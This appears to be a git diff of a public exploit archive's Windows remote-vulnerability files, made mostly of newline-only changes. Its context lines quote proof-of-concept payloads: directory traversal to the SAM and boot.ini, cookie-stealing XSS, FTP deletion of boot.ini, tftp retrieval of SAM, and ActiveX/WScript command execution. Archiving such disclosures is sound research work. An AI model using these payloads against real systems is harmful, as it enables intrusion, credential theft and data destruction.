index a9e6f1a15..e8a94489a 100755 --- a/platforms/windows/remote/21910.txt +++ b/platforms/windows/remote/21910.txt @@ -4,4 +4,4 @@ A vulnerability in Microsoft Internet Information Server (IIS) may make cross-si When IIS receives a request for an .idc file, the server typically returns a 404 message when the page does not exist. However, when a request containing a long URL and ending in the .idc extension is received by IIS, the entire contents of the URL are returned on the error page without the sanitizing of input. This could result in the execution of arbitrary script code. -http://www.example.com/<long_buffer><script_to_execute>.idc \ No newline at end of file +http://www.example.com/<long_buffer><script_to_execute>.idc \ No newline at end of file diff --git a/platforms/windows/remote/21932.pl b/platforms/windows/remote/21932.pl index b12c5a9ec..97621733a 100755 --- a/platforms/windows/remote/21932.pl +++ b/platforms/windows/remote/21932.pl @@ -204,4 +204,4 @@ sleep(1); print $sock "QUIT\r\n"; sleep(1); close($sock); -print "Disconnected\r\n"; \ No newline at end of file +print "Disconnected\r\n"; \ No newline at end of file diff --git a/platforms/windows/remote/21955.java b/platforms/windows/remote/21955.java index a41ccf157..70bb14066 100755 --- a/platforms/windows/remote/21955.java +++ b/platforms/windows/remote/21955.java @@ -105,4 +105,4 @@ os.write( egg ); os.write( (byte)0x00 ); } //---------------------------------------------------------------------------- -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/remote/21958.txt b/platforms/windows/remote/21958.txt index 38f04c89c..004fb7685 100755 --- a/platforms/windows/remote/21958.txt +++ b/platforms/windows/remote/21958.txt @@ -6,4 +6,4 @@ To exploit this issue, the attacker must know the exact location of the file to Versions other than AOL Instant Messenger 4.8.2790 do not seem to be affected by this vulnerability. The vulnerability was reported for Microsoft Windows versions of the client. -<a href ="../../../../progra~1/trojan/trojan.exe">www.example.com</a> \ No newline at end of file +<a href ="../../../../progra~1/trojan/trojan.exe">www.example.com</a> \ No newline at end of file diff --git a/platforms/windows/remote/21959.txt b/platforms/windows/remote/21959.txt index d73821217..21cb3d95a 100755 --- a/platforms/windows/remote/21959.txt +++ b/platforms/windows/remote/21959.txt @@ -22,4 +22,4 @@ function () { }, 3000 ); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/21964.txt b/platforms/windows/remote/21964.txt index 5c417b1e9..1358694fa 100755 --- a/platforms/windows/remote/21964.txt +++ b/platforms/windows/remote/21964.txt @@ -4,4 +4,4 @@ SolarWinds TFTP Server is distributed for the Microsoft Windows platform. The SolarWinds TFTP Server does not properly handle user-supplied input. Due to insufficient handling of user input, it is possible for a remote user to request arbitrary files from the vulnerable server. It would be possible for a remote user to download any files readable through the permissions of the TFTP Server user. -tftp example.com GET a\..\..\winnt\repair\sam \ No newline at end of file +tftp example.com GET a\..\..\winnt\repair\sam \ No newline at end of file diff --git a/platforms/windows/remote/21997.txt b/platforms/windows/remote/21997.txt index 31a5215d7..3e768e4d9 100755 --- a/platforms/windows/remote/21997.txt +++ b/platforms/windows/remote/21997.txt @@ -11,4 +11,4 @@ Attacks of this nature may make it possible for attackers to manipulate web cont This issue was reported in LiteServe v2.01. It is not yet known whether earlier versions are affected by this issue. -http://%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E.liteserve.net/dir \ No newline at end of file +http://%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E.liteserve.net/dir \ No newline at end of file diff --git a/platforms/windows/remote/21999.txt b/platforms/windows/remote/21999.txt index 80584c603..3895f20e0 100755 --- a/platforms/windows/remote/21999.txt +++ b/platforms/windows/remote/21999.txt @@ -10,4 +10,4 @@ Attacks of this nature may make it possible for attackers to manipulate web cont http://liteserve.net/dir?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E -http://liteserve.net/dir?%3C%2FTITLE%3E%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E \ No newline at end of file +http://liteserve.net/dir?%3C%2FTITLE%3E%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E \ No newline at end of file diff --git a/platforms/windows/remote/22001.txt b/platforms/windows/remote/22001.txt index d158362bd..801bfd5e5 100755 --- a/platforms/windows/remote/22001.txt +++ b/platforms/windows/remote/22001.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6145/info Simple Web Server does not properly sanitize web requests. By adding a slash-slash sequence ('//') to a URI, it is possible for an attacker to disclose files on the vulnerable web server, effectively bypassing any access controls. -http://server///secret/file \ No newline at end of file +http://server.com///secret/file \ No newline at end of file diff --git a/platforms/windows/remote/22024.txt b/platforms/windows/remote/22024.txt index bcec34c66..54f07f7d1 100755 --- a/platforms/windows/remote/22024.txt +++ b/platforms/windows/remote/22024.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/6198/info A vulnerability has been discovered in Tftpd32 which allows a remote attacker to download and upload arbitrary system files. The ability to upload system files may allow an attacker to replaced key system files with trojaned copies, used to open backdoors into a target system. tftp host GET /boot.ini -tftp host PUT myfile /boot.ini \ No newline at end of file +tftp host PUT myfile /boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/22112.txt b/platforms/windows/remote/22112.txt index 04e7d6333..767b33635 100755 --- a/platforms/windows/remote/22112.txt +++ b/platforms/windows/remote/22112.txt @@ -4,4 +4,4 @@ It has been reported that PlatinumFTPserver fails to properly sanitize some FTP Disclosure of sensitive system files may aid the attacker in launching further attacks against the target system. -dir ..\..\..\..\ \ No newline at end of file +dir ..\..\..\..\ \ No newline at end of file diff --git a/platforms/windows/remote/22113.txt b/platforms/windows/remote/22113.txt index 1ab5933cb..f0948f384 100755 --- a/platforms/windows/remote/22113.txt +++ b/platforms/windows/remote/22113.txt @@ -4,4 +4,4 @@ It has been reported that PlatinumFTPserver fails to properly sanitize some FTP Deleting arbitrary files may render the system unusable. Other scenarios are also possible. -delete ..\..\..\..\boot.ini \ No newline at end of file +delete ..\..\..\..\boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/22136.txt b/platforms/windows/remote/22136.txt index b53bfcb99..77c340f02 100755 --- a/platforms/windows/remote/22136.txt +++ b/platforms/windows/remote/22136.txt @@ -10,4 +10,4 @@ where directory represents a directory outside the FTP root. del ..\file -where file represents a file outside the FTP root. \ No newline at end of file +where file represents a file outside the FTP root. \ No newline at end of file diff --git a/platforms/windows/remote/22144.txt b/platforms/windows/remote/22144.txt index b04245f37..5cbb58cc1 100755 --- a/platforms/windows/remote/22144.txt +++ b/platforms/windows/remote/22144.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6587/info A problem with the handling of input has been reported in Xynph FTP Server. Under some circumstances, it may be possible for a remote user to escape the FTP root directory using relative path notation. This could allow unauthorized access to systems using the vulnerable software. -cd ... \ No newline at end of file +cd ... \ No newline at end of file diff --git a/platforms/windows/remote/22269.txt b/platforms/windows/remote/22269.txt index ae2c12406..e5f45a173 100755 --- a/platforms/windows/remote/22269.txt +++ b/platforms/windows/remote/22269.txt @@ -6,4 +6,4 @@ Disclosed path information could be used to launch further attacks against the s http://hostname/?mod=some_thing&op=browse -http://hostname/?mod=node&nid=some_thing&op=view \ No newline at end of file +http://hostname/?mod=node&nid=some_thing&op=view \ No newline at end of file diff --git a/platforms/windows/remote/22280.txt b/platforms/windows/remote/22280.txt index 76820b7f2..107746bc3 100755 --- a/platforms/windows/remote/22280.txt +++ b/platforms/windows/remote/22280.txt @@ -10,4 +10,4 @@ An issue similar to this was reported for Internet Explorer (BID 3867). It appea classid="clsid:11111111-1111-1111-1111" code base="C:WINDOWSFTP.EXE"></object>]]></exploit></security></xml> <SPAN dataFld=exploit dataFormatAs=html -dataSrc=#oExec></SPAN> \ No newline at end of file +dataSrc=#oExec></SPAN> \ No newline at end of file diff --git a/platforms/windows/remote/22434.txt b/platforms/windows/remote/22434.txt index bdeb31125..2c6a2130b 100755 --- a/platforms/windows/remote/22434.txt +++ b/platforms/windows/remote/22434.txt @@ -7,4 +7,4 @@ An attacker can exploit this vulnerability by making a request for these files. An attacker can use the information obtained in this manner to launch further attacks against a vulnerable host. http://[target]/cgi-bin/environ.pl -http://[target]/cgi-bin/testcgi.exe \ No newline at end of file +http://[target]/cgi-bin/testcgi.exe \ No newline at end of file diff --git a/platforms/windows/remote/22448.txt b/platforms/windows/remote/22448.txt index 5f10369d1..b08b31a00 100755 --- a/platforms/windows/remote/22448.txt +++ b/platforms/windows/remote/22448.txt @@ -11,4 +11,4 @@ And also: .////////////// .%20 .%20%20 -.. \ No newline at end of file +.. \ No newline at end of file diff --git a/platforms/windows/remote/22476.txt b/platforms/windows/remote/22476.txt index 3a721c45a..0530fdfa1 100755 --- a/platforms/windows/remote/22476.txt +++ b/platforms/windows/remote/22476.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for QuickFront that will result in the disclos QuickFront does not properly sanitize user-supplied input. Specifically, directory traversal sequences such as '../' to HTTP requests are not removed. -http://<target>/../../../../../boot.ini \ No newline at end of file +http://<target>/../../../../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/22488.txt b/platforms/windows/remote/22488.txt index b6474188d..681bdb08a 100755 --- a/platforms/windows/remote/22488.txt +++ b/platforms/windows/remote/22488.txt @@ -4,4 +4,4 @@ eZ Publish has been reported prone to sensitive information disclosure vulnerabi An attacker may make a request for and download the underlying site.ini configuration file. The file contains eZ Publish administration credentials stored in plaintext format. Any HTTP requests for this file will reveal the contents of this file to remote attackers. -http://[target]/settings/site.ini \ No newline at end of file +http://[target]/settings/site.ini \ No newline at end of file diff --git a/platforms/windows/remote/22504.txt b/platforms/windows/remote/22504.txt index 0550cdced..3df9a0e7a 100755 --- a/platforms/windows/remote/22504.txt +++ b/platforms/windows/remote/22504.txt @@ -17,4 +17,4 @@ c:\ ftp www.example.com User (X.X.X.X:(none)): Hack 331 User Hack Ok, password please *** -Password: \ No newline at end of file +Password: \ No newline at end of file diff --git a/platforms/windows/remote/22506.txt b/platforms/windows/remote/22506.txt index 5b4353163..28c623d77 100755 --- a/platforms/windows/remote/22506.txt +++ b/platforms/windows/remote/22506.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7378/info It has been announced that EZ Server is vulnerable to a condition that may result in the disclosure of potentially sensitive information through requests that have directory traversal sequences. -http://[target]/../../winnt/win.ini \ No newline at end of file +http://[target]/../../winnt/win.ini \ No newline at end of file diff --git a/platforms/windows/remote/22515.txt b/platforms/windows/remote/22515.txt index adaf80846..a8198622c 100755 --- a/platforms/windows/remote/22515.txt +++ b/platforms/windows/remote/22515.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7397/info AN HTTPd contains a sample script named count.pl that may be used as a web counter. This script does not perform adequate access validation on paths containing directory traversal (../) character seqences. The vulnerable script may be used to overwrite any file to which it has write permissions by supplying that file name as input. -http://www.victim.com/isapi/count.pl??../../../../../../../../../../../../../../../../../../../../../../winnt/explorer.exe \ No newline at end of file +http://www.victim.com/isapi/count.pl??../../../../../../../../../../../../../../../../../../../../../../winnt/explorer.exe \ No newline at end of file diff --git a/platforms/windows/remote/22530.pl b/platforms/windows/remote/22530.pl index e990af460..b528d617b 100755 --- a/platforms/windows/remote/22530.pl +++ b/platforms/windows/remote/22530.pl @@ -8,4 +8,4 @@ A vulnerability has been discovered in Microsoft Internet Explorer. Due to insuf $LONG="A"x300; print "Content-type: $LONG\r\n"; print "Content-encoding: $LONG\r\n"; -print "\r\n"; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8- - \ No newline at end of file +print "\r\n"; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8- - \ No newline at end of file diff --git a/platforms/windows/remote/22546.txt b/platforms/windows/remote/22546.txt index db3131e96..139c8d8dd 100755 --- a/platforms/windows/remote/22546.txt +++ b/platforms/windows/remote/22546.txt @@ -10,4 +10,4 @@ var message = "http://&#39;);alert(location.href+&#39;"; opera.postError( message ); Additional exploit examples can be found in the attached Bugtraq reference. -location.href = "file://localhost/console.html"; \ No newline at end of file +location.href = "file://localhost/console.html"; \ No newline at end of file diff --git a/platforms/windows/remote/22593.html b/platforms/windows/remote/22593.html index 63688599e..d7d5b474e 100755 --- a/platforms/windows/remote/22593.html +++ b/platforms/windows/remote/22593.html @@ -11,4 +11,4 @@ classid="clsid:2B323CD9-50E3-11D3-9466-00A0C9700498"> yahooaudio.hostname="longstringheremorethan500chars"; yahooaudio.createandjoinconference(); </script> ---------------------------- \ No newline at end of file +--------------------------- \ No newline at end of file diff --git a/platforms/windows/remote/22604.txt b/platforms/windows/remote/22604.txt index f4081d194..f4763ed42 100755 --- a/platforms/windows/remote/22604.txt +++ b/platforms/windows/remote/22604.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7608/info A vulnerability has been reported for ArGoSoft Mail Server FreeWare version. The problem occurs due to the FreeWare version of ArGoSoft failing to carry out sufficient authentication before granting access to the user management interface. As a result, an unauthorized user may be capable of tampering with sensitive server settings or user information. Access to this interface may also allow for the disclosure of sensitive information such as username or passwords. -http://www.target.org/useradm \ No newline at end of file +http://www.target.org/useradm \ No newline at end of file diff --git a/platforms/windows/remote/22609.txt b/platforms/windows/remote/22609.txt index c48b4b2c5..1de724c41 100755 --- a/platforms/windows/remote/22609.txt +++ b/platforms/windows/remote/22609.txt @@ -5,4 +5,4 @@ It has been announced that Snowblind Web Server is vulnerable to a condition tha According to the report, Snowblind Web Server does not perform correct access validation on client requested paths which include "../" character sequences. http://www.example.com/../../windows/system.ini -http://www.example.com/internal.sws?../../windows/system.ini \ No newline at end of file +http://www.example.com/internal.sws?../../windows/system.ini \ No newline at end of file diff --git a/platforms/windows/remote/22620.txt b/platforms/windows/remote/22620.txt index 15240de47..51fb1a668 100755 --- a/platforms/windows/remote/22620.txt +++ b/platforms/windows/remote/22620.txt @@ -6,4 +6,4 @@ It is possible to bypass BadBlue security checks when '.hts' files are requested http://www.example.com/ext.dll?mfcisapicommand=loadpage&page=admin.ats&a0=add&a1=root&a2=%5C -This example will reveal the contents of the server's primary volume. \ No newline at end of file +This example will reveal the contents of the server's primary volume. \ No newline at end of file diff --git a/platforms/windows/remote/22631.txt b/platforms/windows/remote/22631.txt index 703bedf75..2ecb61bed 100755 --- a/platforms/windows/remote/22631.txt +++ b/platforms/windows/remote/22631.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7661/info http://www.example.com/%70rotected/secret.html -http://www.example.com/protected%2fsecret.html \ No newline at end of file +http://www.example.com/protected%2fsecret.html \ No newline at end of file diff --git a/platforms/windows/remote/22636.txt b/platforms/windows/remote/22636.txt index 760df1f18..0ce664ec8 100755 --- a/platforms/windows/remote/22636.txt +++ b/platforms/windows/remote/22636.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7669/info EServ does not sufficiently prevent web users from being able to view directory indexes. This may result in disclosure of sensitive information. -GET /? HTTP/1.1 \ No newline at end of file +GET /? HTTP/1.1 \ No newline at end of file diff --git a/platforms/windows/remote/22664.txt b/platforms/windows/remote/22664.txt index 09676c072..5a477866b 100755 --- a/platforms/windows/remote/22664.txt +++ b/platforms/windows/remote/22664.txt @@ -6,4 +6,4 @@ This issue exists for Sun ONE Application Server 7.0 on Microsoft Windows platfo GET /[script].JSP HTTP/1.0 -where [script] is the name of a script hosted by the server. \ No newline at end of file +where [script] is the name of a script hosted by the server. \ No newline at end of file diff --git a/platforms/windows/remote/22665.txt b/platforms/windows/remote/22665.txt index 06cffd86a..5f564e316 100755 --- a/platforms/windows/remote/22665.txt +++ b/platforms/windows/remote/22665.txt @@ -9,4 +9,4 @@ This issue affects a sample script supplied with the server. The vendor has repo This vulnerability has been reported to affect Sun ONE Application Server 6.1, 6.1 Service Pack 1, and 7.0 on Windows platforms. GET /webapps-simple/jsp/source.jsp?<script>alert(document.cookie)</script> -HTTP/1.0 \ No newline at end of file +HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/22674.txt b/platforms/windows/remote/22674.txt index a4f6b2845..d05e13af8 100755 --- a/platforms/windows/remote/22674.txt +++ b/platforms/windows/remote/22674.txt @@ -5,4 +5,4 @@ Reportedly an attacker may make a malicious HTTP request for specific P-Synch ex This vulnerability was reported to affect P-Synch version 6.2.5 other versions may also be affected. https://www.example.org/psynch/nph-psa.exe?lang= -https://www.example.org/psynch/nph-psf.exe?lang= \ No newline at end of file +https://www.example.org/psynch/nph-psf.exe?lang= \ No newline at end of file diff --git a/platforms/windows/remote/22691.txt b/platforms/windows/remote/22691.txt index 543f261f6..6c8ccb076 100755 --- a/platforms/windows/remote/22691.txt +++ b/platforms/windows/remote/22691.txt @@ -6,4 +6,4 @@ CWD ... CWD /... CWD /...... CWD \... -CWD ...CWD .../ \ No newline at end of file +CWD ...CWD .../ \ No newline at end of file diff --git a/platforms/windows/remote/22721.txt b/platforms/windows/remote/22721.txt index f4c1692b2..a82ddfe10 100755 --- a/platforms/windows/remote/22721.txt +++ b/platforms/windows/remote/22721.txt @@ -8,4 +8,4 @@ An attacker may exploit this vulnerability to access arbitrary files on the unde It should be noted that while this vulnerability has been reported to affect Pablo FTP service version 1.2, other versions might also be affected. -ftp://www.example.com/windows/repair/sam \ No newline at end of file +ftp://www.example.com/windows/repair/sam \ No newline at end of file diff --git a/platforms/windows/remote/22722.txt b/platforms/windows/remote/22722.txt index 58cbd2ad7..acdd2ed77 100755 --- a/platforms/windows/remote/22722.txt +++ b/platforms/windows/remote/22722.txt @@ -4,4 +4,4 @@ It has been reported that Pablo FTP Service stores FTP User account passwords in It should be noted that while this weakness has been reported to affect Pablo FTP service version 1.2, other versions might also be affected. -ftp://www.example.com/program files/pablo's ftp service/users.dat \ No newline at end of file +ftp://www.example.com/program files/pablo's ftp service/users.dat \ No newline at end of file diff --git a/platforms/windows/remote/22723.txt b/platforms/windows/remote/22723.txt index 793a20133..0edb0d3f5 100755 --- a/platforms/windows/remote/22723.txt +++ b/platforms/windows/remote/22723.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7802/info The MegaBrowser HTTP server component is prone to a file disclosure vulnerability. Directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result. -http://www.example.com/../../../../../WINNT/repair/sam \ No newline at end of file +http://www.example.com/../../../../../WINNT/repair/sam \ No newline at end of file diff --git a/platforms/windows/remote/22728.txt b/platforms/windows/remote/22728.txt index bf694bf3a..2207c2dcf 100755 --- a/platforms/windows/remote/22728.txt +++ b/platforms/windows/remote/22728.txt @@ -4,4 +4,4 @@ The Microsoft Internet Explorer FTP indexing implementation could allow script c Any script would be executed with the permissions of the user running Internet Explorer. -ftp://%3cimg%20src%3d%22%22%20onerror%3d%22alert%28document%2eURL%29%22%3e.example.com/ \ No newline at end of file +ftp://%3cimg%20src%3d%22%22%20onerror%3d%22alert%28document%2eURL%29%22%3e.example.com/ \ No newline at end of file diff --git a/platforms/windows/remote/22734.html b/platforms/windows/remote/22734.html index 00fc3c9a7..9f004157d 100755 --- a/platforms/windows/remote/22734.html +++ b/platforms/windows/remote/22734.html @@ -19,4 +19,4 @@ codebase="file://c:/winnt/notepad.exe"></object>'}, 0);</script> The following will read the file %TEMP%\exploit.html on a Windows 2003 system: -<a href="shell:cache\..\..\Local Settings\Temp\exploit.html">Exploit</a> \ No newline at end of file +<a href="shell:cache\..\..\Local Settings\Temp\exploit.html">Exploit</a> \ No newline at end of file diff --git a/platforms/windows/remote/22758.txt b/platforms/windows/remote/22758.txt index 2fe98c7e3..499550ff1 100755 --- a/platforms/windows/remote/22758.txt +++ b/platforms/windows/remote/22758.txt @@ -5,4 +5,4 @@ It has been reported that Simple Web Server fails to properly sanitize web reque This vulnerability has been reported for silentThought Simple Web Server version 1.0 for the Microsoft Windows platform. http://www.example.com/../../winnt/repair/sam._ -http://www.example.com/../../boot.ini \ No newline at end of file +http://www.example.com/../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/22769.txt b/platforms/windows/remote/22769.txt index cbcdd3f6b..b628ce633 100755 --- a/platforms/windows/remote/22769.txt +++ b/platforms/windows/remote/22769.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7908/info The Methodus 3 Web Server component is prone to a file disclosure vulnerability. It is possible for remote attackers to retrieve resources outside of the web root directory via directory traversal attacks. This could potentially be exploited to gain access to sensitive files on a system hosting the vulnerable software. -http://www.example.com/../../../windows/win.ini \ No newline at end of file +http://www.example.com/../../../windows/win.ini \ No newline at end of file diff --git a/platforms/windows/remote/22783.txt b/platforms/windows/remote/22783.txt index 7b531fbcb..6de0ef39c 100755 --- a/platforms/windows/remote/22783.txt +++ b/platforms/windows/remote/22783.txt @@ -6,4 +6,4 @@ If IE, using the MSXML parser, is unable to parse the requested XML file, it wil Exploitation may allow theft of cookie-based authentication credentials or other attacks. -http://host.with.unparsable.xml.file/flaw.xml?<script>alert(document.cookie)</script> \ No newline at end of file +http://host.with.unparsable.xml.file/flaw.xml?<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/windows/remote/22784.txt b/platforms/windows/remote/22784.txt index fa47a89e2..b25116a64 100755 --- a/platforms/windows/remote/22784.txt +++ b/platforms/windows/remote/22784.txt @@ -10,4 +10,4 @@ res://shdoclc.dll/HTTP_501.htm#javascript:%2f*://*%2falert(location.href)/ "Marek Blahus" <marek@blahus.cz> also provided an additional proof-of-concept example: -res://shdoclc.dll/http_404.htm#javascript:alert(String.fromCharCode(72,101,108,108,111));//://clickme/ \ No newline at end of file +res://shdoclc.dll/http_404.htm#javascript:alert(String.fromCharCode(72,101,108,108,111));//://clickme/ \ No newline at end of file diff --git a/platforms/windows/remote/22785.txt b/platforms/windows/remote/22785.txt index d34b9a515..4bc2e1955 100755 --- a/platforms/windows/remote/22785.txt +++ b/platforms/windows/remote/22785.txt @@ -5,4 +5,4 @@ The MyServer HTTP server is prone to a file disclosure vulnerability. Encoded di http://www.example.com/%2e%2e/%2e%2e/%2e%2e http://www.example.com/%2e%2e/%2e%2e/%2e%2ewinnt/repair/sam._ http://www.example.com/%2e%2e/logs -http://www.example.com/%2e%2e/system \ No newline at end of file +http://www.example.com/%2e%2e/system \ No newline at end of file diff --git a/platforms/windows/remote/22795.txt b/platforms/windows/remote/22795.txt index 1c5f78103..2a10d2028 100755 --- a/platforms/windows/remote/22795.txt +++ b/platforms/windows/remote/22795.txt @@ -15,4 +15,4 @@ http://www.example.com/..\..\..\file.ext http://www.example.com/../../../file.ext or as encoded format: http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext -http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext \ No newline at end of file +http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext \ No newline at end of file diff --git a/platforms/windows/remote/22807.txt b/platforms/windows/remote/22807.txt index fe2869756..c0aae90f0 100755 --- a/platforms/windows/remote/22807.txt +++ b/platforms/windows/remote/22807.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7978/info A problem with Web Filter may allow attackers to obtain access to sensitive files. The vulnerability occurs due to insufficent sanitization of '.../' directory traversal sequences. -http://isa-surfserver:8888/.../.../.../.../winnt/ \ No newline at end of file +http://isa-surfserver:8888/.../.../.../.../winnt/ \ No newline at end of file diff --git a/platforms/windows/remote/23043.txt b/platforms/windows/remote/23043.txt index ac9c31e40..6567eb075 100755 --- a/platforms/windows/remote/23043.txt +++ b/platforms/windows/remote/23043.txt @@ -35,4 +35,4 @@ location.protocol + '// protocol.\n\nThe value was:\n' + document.cookie + sourcePlaystate="play" rn:sendTo="_rpcontextwin"/> </audio> </body> -</smil> \ No newline at end of file +</smil> \ No newline at end of file diff --git a/platforms/windows/remote/23044.txt b/platforms/windows/remote/23044.txt index 64adbfc31..82cd7870a 100755 --- a/platforms/windows/remote/23044.txt +++ b/platforms/windows/remote/23044.txt @@ -24,4 +24,4 @@ classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object> wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS"); </script> </html> ------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------ \ No newline at end of file diff --git a/platforms/windows/remote/23068.txt b/platforms/windows/remote/23068.txt index 7f8fa8381..90802ca74 100755 --- a/platforms/windows/remote/23068.txt +++ b/platforms/windows/remote/23068.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8513/info File Sharing for Net is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of system files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../), thus making it possible to access files outside of the established web root. -http://www.example.org/../../../autoexec.bat \ No newline at end of file +http://www.example.org/../../../autoexec.bat \ No newline at end of file diff --git a/platforms/windows/remote/23091.txt b/platforms/windows/remote/23091.txt index 3b29ac8bc..656da4d65 100755 --- a/platforms/windows/remote/23091.txt +++ b/platforms/windows/remote/23091.txt @@ -4,4 +4,4 @@ FloosieTek FTGatePro Mail Server may disclose its installation path to remote at This issue exists in the web administrative interface, which listens on port 8089 by default. -http://www.example.com:8089/utility/wmsecurity.fts \ No newline at end of file +http://www.example.com:8089/utility/wmsecurity.fts \ No newline at end of file diff --git a/platforms/windows/remote/23092.txt b/platforms/windows/remote/23092.txt index d8845d5ba..6e5382854 100755 --- a/platforms/windows/remote/23092.txt +++ b/platforms/windows/remote/23092.txt @@ -4,4 +4,4 @@ FloosieTek FTGatePro Mail Server is prone to a cross-site scripting vulnerabilit This issue exists in the web administrative interface, which listens on port 8089 by default. -http://www.example.com:8089/help/index.fts?href=<script>alert('C.S.S')</script> \ No newline at end of file +http://www.example.com:8089/help/index.fts?href=<script>alert('C.S.S')</script> \ No newline at end of file diff --git a/platforms/windows/remote/23093.txt b/platforms/windows/remote/23093.txt index c228d945f..12711472b 100755 --- a/platforms/windows/remote/23093.txt +++ b/platforms/windows/remote/23093.txt @@ -20,4 +20,4 @@ Signature: [16384:119:1:48:M1460,N,N,S:U:Windows:?] <Tue Sep 2 13:02:49 2003> A:3833 - Windows XP (2) (PLEASE REPORT!) [GENERIC] Signature: [16384:119:1:48:M1460,N,N,S:U:Windows:?] -> server:80 (distance 9, link: ethernet/modem) --- EXTRA TCP VALUES: ACK=0x0, UNUSED=0, URG=0x8158 \ No newline at end of file +-- EXTRA TCP VALUES: ACK=0x0, UNUSED=0, URG=0x8158 \ No newline at end of file diff --git a/platforms/windows/remote/23094.txt b/platforms/windows/remote/23094.txt index 215aec517..7ae251ae1 100755 --- a/platforms/windows/remote/23094.txt +++ b/platforms/windows/remote/23094.txt @@ -45,4 +45,4 @@ EAX = 023219A4 EBX = 0232194B ECX = 02311AC4 EDX = 44434241 ESI = 0231186C EDI = 02321940 EIP = 65106055 ESP = 0012CBA0 EBP = 0012CBB8 -**UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild. \ No newline at end of file +**UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild. \ No newline at end of file diff --git a/platforms/windows/remote/23121.txt b/platforms/windows/remote/23121.txt index fe21cb75b..d2c1af2b1 100755 --- a/platforms/windows/remote/23121.txt +++ b/platforms/windows/remote/23121.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8564/info The web server component of Kukol E.V. HTTP & FTP Server Suite is prone to a file disclosure vulnerability. Remote web users may use directory traversal sequences in requests to gain access to files outside of the server's web root directory. -http://www.example.com/../windows/system.ini \ No newline at end of file +http://www.example.com/../windows/system.ini \ No newline at end of file diff --git a/platforms/windows/remote/23135.txt b/platforms/windows/remote/23135.txt index 8ff6ba109..2ab44b279 100755 --- a/platforms/windows/remote/23135.txt +++ b/platforms/windows/remote/23135.txt @@ -5,4 +5,4 @@ A weakness has been reported in the FTGatePro WebAdmin Interface that could allo It should be noted that the FTGate Pro WebAdmin Interface is not accessible to the internet by default. http://www.example.org:8089/tools/ftgatedump.fts -http://www.example.org:8089/tools/ftgatedump.fts?command=1 \ No newline at end of file +http://www.example.org:8089/tools/ftgatedump.fts?command=1 \ No newline at end of file diff --git a/platforms/windows/remote/23144.txt b/platforms/windows/remote/23144.txt index 2cc140fb0..428ff7daa 100755 --- a/platforms/windows/remote/23144.txt +++ b/platforms/windows/remote/23144.txt @@ -4,4 +4,4 @@ It has been reported that WebForums and File-Sharing for NET are prone to a remo Successful exploitation of this issue could allow a remote attacker to gain access to sensitive information. -http://www.example.com/../user.ini \ No newline at end of file +http://www.example.com/../user.ini \ No newline at end of file diff --git a/platforms/windows/remote/23147.txt b/platforms/windows/remote/23147.txt index 9057d263e..5a88cb9df 100755 --- a/platforms/windows/remote/23147.txt +++ b/platforms/windows/remote/23147.txt @@ -4,4 +4,4 @@ Nokia Electronic Documentation (NED) is prone to a vulnerability that may enable This issue was reported for NED installations hosted on WebLogic application servers. It is not known if NED is prone to the same behavior when hosted on other servers. It should be noted that although this vulnerability has been reported to affect Nokia Electronic Documentation version 5.0, previous versions might also be affected. -http://www.example.com/docs/NED?action=retrieve&location=. \ No newline at end of file +http://www.example.com/docs/NED?action=retrieve&location=. \ No newline at end of file diff --git a/platforms/windows/remote/23148.txt b/platforms/windows/remote/23148.txt index 14512807a..1d5c2a542 100755 --- a/platforms/windows/remote/23148.txt +++ b/platforms/windows/remote/23148.txt @@ -4,4 +4,4 @@ A vulnerability has been discovered in Nokia Electronic Documentation (NED) that This may allow an attacker to interact with an otherwise inaccessible system, or potentially hide the origin of attacks launched against other targets. -http://www.example.org/docs/NED?action=retrieve&location=http://server/ \ No newline at end of file +http://www.example.org/docs/NED?action=retrieve&location=http://www.target.com/ \ No newline at end of file diff --git 